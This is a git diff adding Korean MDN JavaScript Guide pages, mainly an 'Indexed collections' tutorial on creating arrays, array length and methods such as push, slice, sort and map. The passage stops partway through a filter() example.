+ <a href="/ko/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript.3F">JavaScript에 대하여</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript와 Java</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">도구</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types">문법과 자료형</a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">기본 구문 &amp; 주석</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">선언문</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">변수 범위</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">변수 가져오기</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">데이터 구조와 타입</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Literals">리터럴</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">흐름 제어과 오류 처리</a></span>
+ <p><code><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br>
+ <code><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Error objects</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration">반복과 순회</a></span>
+ <p><code><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Functions">함수</a></span>
+
+ <p><a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98_%EC%A0%95%EC%9D%98">함수 선언하기</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98_%ED%98%B8%EC%B6%9C">함수 호출하기</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98%EC%9D%98_%EB%B2%94%EC%9C%84">함수 범위</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%81%B4%EB%A1%9C%EC%A0%80">클로저(Closures</a>)<br>
+ <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%EC%9D%B8%EC%88%98(arguments)_%EA%B0%9D%EC%B2%B4_%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0">아규먼트</a> &amp; <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98%EC%9D%98_%EB%A7%A4%EA%B0%9C%EB%B3%80%EC%88%98">파라미터</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%99%94%EC%82%B4%ED%91%9C_%ED%95%A8%EC%88%98">Arrow 함수</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators">표현식과 연산자</a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">할당 연산</a> &amp; <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">비교 연산</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">산술 연산자</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">비트연산</a> &amp; <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">논리 연산자</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Conditional (ternary) operator</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates">숫자와 날짜</a></span><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> 리터럴</a>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object"><code>Number</code> 오브젝트</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object"><code>Math</code> </a><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object" style="background-color: rgba(234, 239, 242, 0.498039);">오브젝트</a><br>
+ <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object"><code>Date</code> </a><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object" style="background-color: rgba(234, 239, 242, 0.498039);">오브젝트</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Text_formatting">텍스트 서식</a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Text_formatting#String_literals">String 리터럴</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Text_formatting#String_objects"><code>String</code> 오브젝트</a><br>
+ <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">템플릿 리터럴</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">지역 별 서식</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">정규식</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections">인덱스 콜렉션</a></span>
+
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Arrays</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">Typed arrays</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections">키 콜렉션</a></span>
+ <p><code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br>
+ <code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
+ <code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br>
+ <code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects">객체와 작업하기</a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">오브젝트와 속성</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">오브젝트 생성하기</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">메소드 정의하기</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Getter 와 setter</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">객체 모델</a><a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model" style="font-family: Arial, x-locale-body, sans-serif; letter-spacing: -0.00278rem;"> </a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">프로토타입 기반 객체 지향 프로그래밍</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">오브젝트 계층 생성하기</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">상속</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Using_promises">프로미스</a>
+
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Guarantees">Guarantees</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Chaining">Chaining</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Error_propagation">Error propagation</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Composition">Composition</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Timing">Timing</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators">반복기와 생성기</a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Iterators</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Iterables</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generators</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming">메타 프로그래밍</a></span>
+ <p><code><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Proxies">프록시(Proxy</a></code><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Proxies" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; background-color: rgba(234, 239, 242, 0.498039);">)</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Handlers와 traps</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Revocable Proxy</a><br>
+ <code><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Modules">JavaScript 모듈</a></span>
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Modules#Exporting_module_features">Exporting</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Modules#Importing_features_into_your_script">Importing</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Modules#Default_exports_versus_named_exports">Default exports</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Modules#Renaming_imports_and_exports">Renaming features</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Modules#Aggregating_modules">Aggregating modules</a><br>
+ <a href="/ko/docs/Web/JavaScript/Guide/Modules#Dynamic_module_loading">Dynamic module loading</a></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/ko/web/javascript/guide/indexed_collections/index.html b/files/ko/web/javascript/guide/indexed_collections/index.html
new file mode 100644
index 0000000000..f048ddc752
--- /dev/null
+++ b/files/ko/web/javascript/guide/indexed_collections/index.html
@@ -0,0 +1,456 @@
+---
+title: Indexed collections
+slug: Web/JavaScript/Guide/Indexed_collections
+translation_of: Web/JavaScript/Guide/Indexed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</div>
+
+<p class="summary">이번장에서는 인덱스값에 의해 정렬이 되는 데이터 자료구조에 대해 소개합니다.  배열과 유사 배열 생성자인 {{jsxref("Array")}} 객체와 {{jsxref("TypedArray")}} 객체 같은 생성자들을 포함합니다. </p>
+
+<h2 id="배열_객체"><font face="Consolas, Liberation Mono, Courier, monospace">배열 객체</font></h2>
+
+<p>배열은 이름과 인덱스로 참조되는 정렬된 값들의 집합입니다. 예를 들면, 숫자로 된 사원번호를 index로하여 사원명을 가지고 있는 emp라는 배열을 가질 수 있습니다. 그래서 emp[1]은 사원번호 1번, emp[2]는 사원번호 2번, 이런식으로 사원번호를 인덱스 값으로 가질 수 있는 것입니다.</p>
+
+<p>자바스크립트는 명시적인 배열 데이터 형식을 가지고 있지 않습니다. 그러나 미리 정의된 배열 객체를 사용할 수 있고 배열 객체의 메서드를 개발하는 어플리케이션에서 사용되는 배열에 사용할 수 있습니다. 배열 객체는 합치기(joining), 순서 뒤집기(reversing) 그리고 정렬(sorting)과 같은 다양한 방법으로 배열을 조작하는 메서드들을 제공합니다. 정규 표현식과 함께 사용할 배열 길이와 기타 속성을 결정하는 속성이 있습니다.</p>
+
+<h3 id="배열_생성">배열 생성</h3>
+
+<p>아래의 구문들은 동일한 요소를 가지는 배열을 생성하는 방법들입니다. </p>
+
+<pre class="brush: js">var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+</pre>
+
+<p>요소0, 요소1, ..., 요소N은 배열내에 포함된 요소의 값 목록 입니다. 해당 값들이 명시되어 있을 경우, 해당 배열은 주어진 요소들을 포함하도록 초기화 됩니다. 해당 배열의 길이는 주어진 요소들의 갯수가 됩니다. </p>
+
+<p>대괄호 문법은 일명 "배열  문자" 혹은 "배열 초기화"라고 합니다. 대괄호 문법은 다른 배열 생성 표기법 보다 짧고 일반적으로 선호하는 문법입니다. 보다 상세한 내용은 <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals" title="en-US/docs/JavaScript/Guide/Values, Variables, and Literals#Array Literals">Array literals</a>를 참조하세요.</p>
+
+<p> 길이가 0보다 크지만 아무런 요소를 가지고 있지 않은 배열을 생성하기 위한 방법은 아래와 같습니다. </p>
+
+<pre class="brush: js">var arr = new Array(arrayLength);
+var arr = Array(arrayLength);
+
+// This has exactly the same effect
+var arr = [];
+arr.length = arrayLength;
+</pre>
+
+<div class="note">
+<p>Note : 위의 예제 코드에서, <code>arrayLength</code>는 반드시 <code>숫자</code>여야 합니다. 그렇지 않으면 하나의 요소(주어진 값)을 가지는 배열이 생성 됩니다. <code>arr.length</code>를 호출하면 <code>arrayLength</code>가 반환이 되지만 해당 배열은 실제로 아무런 요소를 가지고 있지 않습니다. {{jsxref("Statements/for...in","for...in")}} 반복문을 실행하면 해당 배열은 아무런 요소를 반환하지 않습니다.</p>
+</div>
+
+<p>추가로 아래의 예제에서 볼 수 있듯이, 새로이 정의된 혹은 이미 존재하는 객체 변수의 속성으로 배열을 할당 할 수 있습니다.</p>
+
+<pre class="brush: js">var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OR
+var obj = {prop: [element0, element1, ...., elementN]}
+</pre>
+
+<p>값이 <code>숫자</code>인 하나의 요소만을 가지는 배열을 생성하고자 할 경우, 반드시 대괄호 문법을 사용해야 합니다. 하나의 <code>숫자</code> 값을 Array() 생성자에게 전달할 경우, 그 숫자 값은 해당 배열의 요소가 아니라 <code>arrayLength</code>(배열의 길이)로 해석됩니다. </p>
+
+<pre class="brush: js">var arr = [42];
+var arr = Array(42); // Creates an array with no element,
+ // but with arr.length set to 42
+
+// The above code is equivalent to
+var arr = [];
+arr.length = 42;
+</pre>
+
+<p>만약 숫자이지만 0이 아닌 소수점을 가지는 숫자를 <code>Array()생성자에게 인자로 줄 경우, 범위 에러(RangeError)가 발생하게 됩니다. 아래의 예제는 범위 에러가 발생되는 상황을 보여 줍니다. </code></p>
+
+<pre class="brush: js">var arr = Array(9.3); // RangeError: Invalid array length
+</pre>
+
+<p>만약 임의의 데이터 형식인 하나의 요소를 가지는 배열을 생성하고자 할 경우, 배열 표기법을 사용하는 것이 안전합니다. 혹은 빈 배열을 먼저 선언한 후 임의의 데이터 값을 해당 배열에 추가하는 것도 방법이 됩니다. </p>
+
+<p>ES2015에서 요소가 하나인 배열을 만들기 위해  Array.of 정적 메소드를 사용할 수 있습니다.</p>
+
+<pre><em>let wisenArray = Array.of(9.3) // wisenArray contains only one element 9.3</em></pre>
+
+<h3 id="배열에_값_저장">배열에 값 저장</h3>
+
+<p>배열의 요소에 값을 할당하여 배열에 값을 저장할 수 있습니다. 예를 들면, </p>
+
+<pre class="brush: js">var emp = [];
+emp[0] = 'Casey Jones';
+emp[1] = 'Phil Lesh';
+emp[2] = 'August West';
+</pre>
+
+<div class="note">
+<p><strong>참고: </strong>위의 코드 예제 처럼 배열 연산자에 양의 정수가 아닌 값을 줄 경우, 배열의 요소가 대신 배열로 대변되는 객체의 속성이 생성이 됩니다. </p>
+</div>
+
+<pre class="brush: js">var arr = [];
+arr[3.4] = 'Oranges';
+console.log(arr.length); // 0
+console.log(arr.hasOwnProperty(3.4)); // true
+</pre>
+
+<p>배열을 생성함과 동시에 배열에 값을 저장할 수 있습니다. </p>
+
+<pre class="brush: js">var myArray = new Array('Hello', myVar, 3.14159);
+var myArray = ['Mango', 'Apple', 'Orange'];
+</pre>
+
+<h3 id="배열_요소의_참조">배열 요소의 참조</h3>
+
+<p>배열의 요소를 참조하기 위해서 해당 요소의 인덱스(요소의 순서를 나타내는 )를 사용할 수 있습니다. 예를 들어, 아래와 같이 배열을 선언 하였다면</p>
+
+<pre class="brush: js">var myArray = ['Wind', 'Rain', 'Fire'];
+</pre>
+
+<p>배열의 첫번째 요소는 <code>myArray[0]로 참조할 수 있고 두번째 요소는 myArray[1]로 참조할 수 있습니다. 배열의 인덱스 값은 0부터 시작합니다.</code></p>
+
+<div class="note">
+<p><strong>참고: </strong>배열 연산자(대괄호)는 배열의 속성에 접근하기 위해서도 사용될 수 있습니다.(배열 또한 객체이기 때문입니다.) 예를 들면 아래와 같습니다.</p>
+</div>
+
+<pre class="brush: js">var arr = ['one', 'two', 'three'];
+arr[2]; // three
+arr["length"]; // 3
+</pre>
+
+<h3 id="배열_길이에_대한_이해">배열 길이에 대한 이해</h3>
+
+<p>실제 구현에서, 자바스트립트의 배열은 배열에 포함된 요소들을 배열의 인덱스 값을 속성 이름으로 사용하여 표준 객체의 속성처럼 저장을 합니다. 길이 속성은 좀 특별합니다. 배열의 길이는 항상 마지막 요소의 인덱스에 1을 더한 값을 반환합니다.(다음 예제에서 Dusty는 인덱스 30번째에 위치하기때문에 cats배열의 길이는 31이 됩니다.) 기억하실 것은 자바스크립트 배열의 인덱스는 항상 1부터가 아닌 0부터 시작합니다. 이것이 의미하는 바는 배열의 길이 속성은 배열에 저장되어 있는 가장 큰 인덱스보다 1만큼 큰 값이 된다는 것입니다. </p>
+
+<pre class="brush: js">var cats = [];
+cats[30] = ['Dusty'];
+console.log(cats.length); // 31
+
+</pre>
+
+<p>배열의 길이(<code>length</code>) 속성을 지정하는 것 또한 가능합니다. 만약 배열에 저장되어 있는 요소의 갯수보다 작은 값을 배열 길이로 지정하게 되면, 지정된 배열 길이보다 큰 인덱스 값을 가지는 요소는 배열에서 삭제됩니다. 0을 배열 길이로 지정하게 되면 해당 배열은 요소를 가지지 않는 빈 배열이 되는 것입니다.</p>
+
+<pre class="brush: js">var cats = ['Dusty', 'Misty', 'Twiggy'];
+console.log(cats.length); // 3
+
+cats.length = 2;
+console.log(cats); // logs "Dusty,Misty" - Twiggy has been removed
+
+cats.length = 0;
+console.log(cats); // logs []; the cats array is empty
+
+cats.length = 3;
+console.log(cats); // logs [ &lt;3 empty items ]
+</pre>
+
+<h3 id="배열의_요소를_반복처리하기">배열의 요소를 반복처리하기</h3>
+
+<p>배열을 가지고 처리하는 주된 작업은 배열의 요소를 반복적으로 접근해서 읽어오는 작업입니다. 가장 간단한 방법은 아래와 같습니다. </p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+for (var i = 0; i &lt; colors.length; i++) {
+ console.log(colors[i]);
+}
+</pre>
+
+<p>배열이 아무런 요소를 포함하고 있지 않다면  반복문 조건에서 false로 평가됩니다. 배열의 요소가 <a href="https://developer.mozilla.org/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> node들을 포함한다면 보다 효율적인 코드 관용구를 사용할 수 있습니다. </p>
+
+<pre class="brush: js">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+ /* Process div in some way */
+}
+</pre>
+
+<p>위의 예제 코드의 for반복문 조건은 배열의 길이을 확인하는 작업을 피할 수 있고, div변수가 매 반복마다 현재의 요소를 가지게 됩니다. </p>
+
+<p>{{jsxref("Array.forEach", "forEach()")}} 메서드는 배열의 요소를 반복처리할 수 있는 또 다른 방법입니다:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+colors.forEach(function(color) {
+ console.log(color);
+});
+// red
+// green
+// blue
+</pre>
+
+<p>ES2015 Arrow Function으로 다음과 같이 더 짧게 코드를 짤 수 있습니다.</p>
+
+<pre>var colors = ['red', 'green', 'blue'];
+color.forEach(color =&gt; console.log(color));
+// red
+// green
+// blue
+</pre>
+
+<p><code>forEach</code>에 인자로 주어진 함수는 배열의 각 요소에 대해 한번씩 실행이 되고 배열의 각 요소는 인자로 주어진 함수의 인자로 주어지게 됩니다. 할당 되지 않은 요소 값은 <code>forEach</code> 반복문에서 처리 되지 않습니다. </p>
+
+<p><code>forEach</code>반복문으로 배열의 요소를 반복처리할때, 배열을 정의할 때 생략된 요소는 처리대상이 되지 않는 것에 유의 하세요. 하지만 <code>undefined</code>을 생략된 요소에 할당하게 되면 undefined로 처리됩니다.  </p>
+
+<p> </p>
+
+<pre class="brush: js">var array = ['first', 'second', , 'fourth'];
+
+array.forEach(function(element) {
+ console.log(element);
+})
+// first
+// second
+// fourth
+
+if(array[2] === undefined) {
+  console.log('array[2] is undefined'); // true
+}
+
+var array = ['first', 'second', undefined, 'fourth'];
+
+array.forEach(function(element) {
+ console.log(element);
+});
+// first
+// second
+// undefined
+// fourth
+</pre>
+
+<p>JavaScript 요소는 표준 객체 속성으로 저장되므로 {{jsxref ( "Statements / for ... in", "for ... in")}} 루프를 사용하여 JavaScript 배열을 반복하는 것은 바람직하지 않습니다. 왜냐면 일반 요소들과 그리고 모든 열거할 수 있는 속성들이 나열이 되기 때문입니다.</p>
+
+<h3 id="배열_객체의_메서드">배열 객체의 메서드</h3>
+
+<p>{{jsxref("Array")}} 객체는 다음과 같은 메서드들을 가지고 있습니다:</p>
+
+<p>{{jsxref("Array.concat", "concat()")}} 메서드는 두개의 배열을 합쳐 새로운 배열을 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+myArray = myArray.concat('a', 'b', 'c');
+// myArray is now ["1", "2", "3", "a", "b", "c"]</code></pre>
+
+<p>{{jsxref("Array.join", "join(delimiter = ',')")}} 메서드는 배열의 모든 요소를 주어진 구분자로 연결된 하나의 문자열을 반환 합니다. </p>
+
+<pre><code>var myArray = new Array('Wind', 'Rain', 'Fire');
+var list = myArray.join(' - '); // list is "Wind - Rain - Fire"</code></pre>
+
+<p>{{jsxref("Array.push", "push()")}}메서드는 하나 혹은 그 이상의 요소를 배열의 마지막에 추가하고 추가된 요소를 포함한 길이를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2');
+myArray.push('3'); // myArray is now ["1", "2", "3"]</code></pre>
+
+<p>{{jsxref("Array.pop", "pop()")}} 메서드는 배열의 마지막 요소를 제거 하고 그 제거된 요소를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+var last = myArray.pop();
+// myArray is now ["1", "2"], last = "3"</code></pre>
+
+<p>{{jsxref("Array.shift", "shift()")}}메서드는 배열의 첫번째 요소를 제거하고 그 제거된 요소를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+var first = myArray.shift();
+// myArray is now ["2", "3"], first is "1"</code></pre>
+
+<p>{{jsxref("Array.shift", "unshift()")}}메서드는 하나 혹은 그 이상의 요소를 배열의 앞쪽에 추가하고 추가한 요소를 포함한 길이를 반환 합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+myArray.unshift('4', '5');
+// myArray becomes ["4", "5", "1", "2", "3"]</code></pre>
+
+<p>{{jsxref("Array.slice", "slice(start_index, upto_index)")}}메서드는 배열의 특정 부분을 추출하여 그 추출된 부분을 포함하는 새로운 배열을 반환 합니다. upto_index에 해당하는 요소는 포함되지 않습니다. </p>
+
+<pre><code>var myArray = new Array('a', 'b', 'c', 'd', 'e');
+myArray = myArray.slice(1, 4); // starts at index 1 and extracts all elements
+ // until index 3, returning [ "b", "c", "d"]</code></pre>
+
+<p>{{jsxref("Array.splice", "splice(index, count_to_remove, addElement1, addElement2, ...)")}} 메세드는 주어진 인덱스 요소를 포함하여 count_to_remove 갯수만큼 삭제 하고 주어진 요소로 바꿔 줍니다. </p>
+
+<pre><code>var myArray = new Array('1', '2', '3', '4', '5');
+myArray.splice(1, 3, 'a', 'b', 'c', 'd');
+// myArray is now ["1", "a", "b", "c", "d", "5"]
+// This code started at index one (or where the "2" was),
+// removed 3 elements there, and then inserted all consecutive
+// elements in its place.</code></pre>
+
+<p> </p>
+
+<p>{{jsxref ( "Array.reverse", "reverse ()")}} 배열의 요소를 제자리에 배치합니다. 첫 번째 배열 요소가 마지막 요소가되고 마지막 요소가 첫 번째 요소가됩니다. 배열에 대한 참조를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+myArray.reverse();
+// transposes the array so that myArray = ["3", "2", "1"]</code></pre>
+
+<p> </p>
+
+<p>{{jsxref ( "Array.sort", "sort ()")}} 배열의 요소를 제자리에 정렬하고 배열에 대한 참조를 반환합니다.</p>
+
+<pre class="brush: js">var myArray = new Array('Wind', 'Rain', 'Fire');
+myArray.sort();
+// sorts the array so that myArray = [ "Fire", "Rain", "Wind" ]
+</pre>
+
+<p><code>sort()</code> 메서드에 어떻게 해당 배열의 요소를 정렬할 지 결정하는 콜백 함수를 인자로 줄 수 있습니다.</p>
+
+<p>콜백을 사용하는 sort 메소드 및 다른 메소드는 반복 메소드로 알려져 있습니다. 일부 메소드에서는 전체 배열을 반복하기 때문입니다. 각각은 <code>thisObject</code>라는 선택적인 두 번째 인수를 취합니다. 제공되면 <code>thisObject</code>는 콜백 함수의 본문에있는 <code>this</code> 키워드의 값이됩니다.</p>
+
+<p>제공되지 않으면 함수가 명시 적 객체 컨텍스트 외부에서 호출되는 다른 경우와 마찬가지로이 함수는 콜백으로 화살표 함수를 사용할 때 전역 객체 ({{domxref ( "window")}})를 참조합니다. 정상적인 기능은 콜백입니다.</p>
+
+<p>콜백 함수는 배열의 요소 인 두 개의 인수로 호출됩니다.</p>
+
+<p>아래 함수는 두 값을 비교하여 세 값 중 하나를 반환합니다.</p>
+
+<p>예를 들어, 다음은 문자열의 마지막 문자로 정렬합니다.</p>
+
+<pre class="brush: js">var sortFn = function(a, b){
+ if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+ if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+ if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+myArray.sort(sortFn);
+// sorts the array so that myArray = ["Wind","Fire","Rain"]
+</pre>
+
+<ul>
+ <li>a의 순서가 b보다 뒤에 오면 -1(혹은 음수)을 반환합니다.</li>
+ <li>a의 순서가 b보다 앞에 오면 1(혹은 양수)을 반환합니다.</li>
+ <li>a와 b가 같으면 0을 반환합니다.</li>
+</ul>
+
+<p>{{jsxref ( "Array.indexOf", "indexOf (searchElement [, fromIndex])")}}는 배열에서 <code>searchElement</code>를 검색하고 첫 번째 일치 항목의 인덱스를 반환합니다.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
+console.log(a.indexOf('b')); // logs 1
+// Now try again, starting from after the last match
+console.log(a.indexOf('b', 2)); // logs 3
+console.log(a.indexOf('z')); // logs -1, because 'z' was not found
+</pre>
+
+<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}}메서드는 <code>indexOf</code>메서드와 유사하게 작동하지만 배열의 뒤쪽에서부터 요소를 찾습니다.</p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+console.log(a.lastIndexOf('b')); // logs 5
+// Now try again, starting from before the last match
+console.log(a.lastIndexOf('b', 4)); // logs 1
+console.log(a.lastIndexOf('z')); // logs -1
+</pre>
+
+<p>{{jsxref("Array.forEach", "forEach(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 반복적으로 주어진 <code>callback</code> 함수를 실행합니다. </p>
+
+<pre class="brush: js">var a = ['a', 'b', 'c'];
+a.forEach(function(element) { console.log(element);} );
+// logs each item in turn
+</pre>
+
+<p>{{jsxref("Array.map", "map(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 콜백함수를 실행하고 콜백함수의 실행결과를 새로운 배열에 담아 반환합니다.</p>
+
+<pre class="brush: js">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+console.log(a2); // logs ['A', 'B', 'C']
+</pre>
+
+<p>{{jsxref("Array.filter", "filter(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 콜백 함수가 true를 반환하는 요소를 새로운 배열에 담아 반환 합니다. </p>
+
+<pre class="brush: js">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
